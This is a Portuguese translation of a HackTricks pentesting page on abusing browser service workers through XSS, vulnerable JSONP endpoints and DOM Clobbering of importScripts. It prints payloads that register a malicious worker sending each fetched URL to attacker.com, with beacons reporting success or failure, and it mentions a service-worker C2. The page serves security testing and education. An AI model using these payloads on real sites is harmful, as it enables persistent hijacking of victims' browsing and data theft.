hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

10 KiB

Abusando dos Service Workers

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. Experimente gratuitamente hoje.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Informações Básicas

Um service worker é um script que seu navegador executa em segundo plano, separado de uma página da web, abrindo a porta para recursos que não precisam de uma página da web ou interação do usuário. (Mais informações sobre o que é um service worker aqui).
Então, você pode abusar dos service workers criando/modificando-os na sessão da vítima dentro do domínio web vulnerável que concede ao atacante o controle sobre todas as páginas que a vítima carregará nesse domínio.

Verificar SWs existentes

Você pode vê-los no campo Service Workers na guia Application das Ferramentas de Desenvolvedor. Você também pode olhar em chrome://serviceworker-internals.

Notificações Push

Se a vítima não concedeu permissões de notificações push, o service worker não poderá receber comunicações do servidor se o usuário não acessar a página do atacante novamente. Isso irá prevenir, por exemplo, a manutenção de conversas com todas as páginas que acessaram a página da web do atacante, para que, se um exploit for encontrado, o SW possa recebê-lo e executá-lo.
No entanto, se a vítima conceder permissões de notificações push, isso pode representar um risco.

Ataque Criando um Service Worker

Para explorar essa vulnerabilidade, você precisa encontrar:

  • Uma maneira de fazer upload de arquivos JS arbitrários para o servidor e um XSS para carregar o service worker do arquivo JS enviado
  • Uma solicitação JSONP vulnerável onde você pode manipular a saída (com código JS arbitrário) e um XSS para carregar o JSONP com um payload que irá carregar um service worker malicioso.

No exemplo a seguir, vou apresentar um código para registrar um novo service worker que irá ouvir o evento fetch e enviar para o servidor do atacante cada URL buscado (este é o código que você precisaria fazer upload para o servidor ou carregar via uma resposta JSONP vulnerável):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

E este é o código que irá registrar o worker (o código que você deve ser capaz de executar abusando de um XSS). Neste caso, uma solicitação GET será enviada para o servidor do atacante, notificando se o registro do service worker foi bem-sucedido ou não:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

No caso de abusar de um ponto de extremidade JSONP vulnerável, você deve colocar o valor dentro de var sw. Por exemplo:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Existe um C2 dedicado à exploração de Service Workers chamado Shadow Workers que será muito útil para abusar dessas vulnerabilidades.

Em uma situação de XSS, o limite de diretiva de cache de 24 horas garante que um SW malicioso ou comprometido sobreviva a uma correção da vulnerabilidade de XSS por no máximo 24 horas (assumindo que o cliente esteja online). Os operadores do site podem reduzir a janela de vulnerabilidade definindo TTLs mais baixos nos scripts SW. Também incentivamos os desenvolvedores a criarem um SW de desativação.

Abusando do importScripts em um SW através do DOM Clobbering

A função importScripts chamada de um Service Worker pode importar um script de um domínio diferente. Se essa função for chamada usando um parâmetro que um atacante poderia modificar, ele seria capaz de importar um script JS de seu domínio e obter XSS.

Isso até mesmo contorna as proteções CSP.

Exemplo de código vulnerável:

  • index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Com DOM Clobbering

Para obter mais informações sobre o que é o DOM Clobbering, consulte:

{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}

Se a URL/domínio que o SW está usando para chamar importScripts estiver dentro de um elemento HTML, é possível modificá-lo via DOM Clobbering para fazer com que o SW carregue um script do seu próprio domínio.

Para um exemplo disso, consulte o link de referência.

Referências

Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. Experimente gratuitamente hoje.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥